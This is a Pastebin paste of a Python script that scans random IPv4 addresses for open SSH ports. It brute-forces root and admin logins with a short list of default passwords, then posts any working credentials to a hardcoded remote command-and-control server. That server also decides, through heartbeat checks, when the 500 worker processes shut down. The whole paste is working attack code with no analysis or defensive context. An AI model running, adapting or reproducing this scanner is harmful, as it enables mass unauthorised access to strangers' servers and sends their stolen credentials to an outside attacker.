Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- import random
- from multiprocessing import Process
- import time
- import os
- import re
- import signal
- import urllib2
- # 1 thr = 3.41 Mb
- def brute_force(hostname):
- for username in user_list:
- for passw in password_list:
- print('Start check', username, passw)
- try:
- result = os.popen('/usr/bin/php /tmp/1/start.php {0} {1} {2}'.format(hostname, username, passw)).read()
- if not result == 'True':
- continue
- if username == 'root':
- if passw == 'skip':
- print('skipped')
- return
- print("Good", hostname, username, passw)
- save_good_remote(hostname, username, passw)
- return
- except Exception as e:
- print(e)
- continue
- username = None
- passw = None
- del username
- del passw
- def save_good_remote(ip, login, password):
- opener = urllib2.build_opener()
- post = "ip={0}&login={1}&password={2}&secret=KLYokn0vzggJxumjwLAAabauZHfEilVm".format(ip, login, password)
- opener.open('http://178.20.154.228/ssh/gate/in3.php', post.encode())
- del opener
- def check_exit():
- while True:
- try:
- opener = urllib2.build_opener()
- post = "secret=KLYokn0vzggJxumjwLAAabauZHfEilVm"
- response = opener.open('http://178.20.154.228/ssh/gate/check_work.php', post.encode('utf-8')).read()
- if not response == 'work':
- os.killpg(0, signal.SIGINT)
- os.system('pkill -f -9 start_php.py')
- exit(0)
- except:
- os.killpg(0, signal.SIGINT)
- os.system('pkill -f -9 start.py')
- exit(0)
- time.sleep(60)
- def mem_free():
- content = str(open('/proc/meminfo', 'r').read())
- memory_free = int(int(re.findall('MemFree.+?([0-9]+)', content)[0]) / 1024)
- memory_total = int(int(re.findall('MemTotal.+?([0-9]+)', content)[0]) / 1024)
- memory_avialable = int(int(re.findall('MemAvailable.+?([0-9]+)', content)[0]) / 1024)
- return memory_avialable
- def main_runner():
- while True:
- try:
- iterator = 100
- for temp in range(iterator):
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.settimeout(2)
- remote_server_ip = '{0}.{1}.{2}.{3}'.format(random.randrange(1, 254),
- random.randrange(1, 254),
- random.randrange(1, 254),
- random.randrange(1, 254))
- # print(remote_server_ip)
- try:
- if sock.connect_ex((remote_server_ip, 22)) == 0:
- # sock.close() #??
- brute_force(remote_server_ip)
- except:
- sock.close()
- del sock
- except KeyboardInterrupt:
- print('exit')
- os.system('pkill -f -9 start.py')
- exit(0)
- except:
- pass
- def knock_knock():
- while True:
- print('knock knock')
- try:
- opener = urllib2.build_opener()
- post = "secret=KLYokn0vzggJxumjwLAAabauZHfEilVm"
- response = opener.open('http://178.20.154.228/ssh/gate/knock.php', post.encode('utf-8')).read()
- if not response == 'work':
- os.killpg(0, signal.SIGINT)
- print('exit')
- os.system('pkill -f -9 start.py')
- exit(0)
- except Exception as e:
- os.killpg(0, signal.SIGINT)
- print('exit')
- os.system('pkill -f -9 start.py')
- exit(0)
- time.sleep(120)
- user_list = ['root', 'admin']
- password_list = ['skip', 'admin', 'root', '123456']
- if __name__ == '__main__':
- num_proc = 500
- processes = [Process(target=main_runner, args=()) for x in range(num_proc)]
- exit_checker = [Process(target=check_exit, args=()) for x in range(1)]
- knock = [Process(target=knock_knock, args=()) for x in range(1)]
- exit_checker[0].start()
- knock[0].start()
- while True:
- # time.sleep(10/100)
- i = 0
- p = None
- for p in processes:
- if not p.is_alive():
- processes[i] = Process(target=main_runner, args=())
- processes[i].start()
- i += 1
Add Comment
Please, Sign In to add comment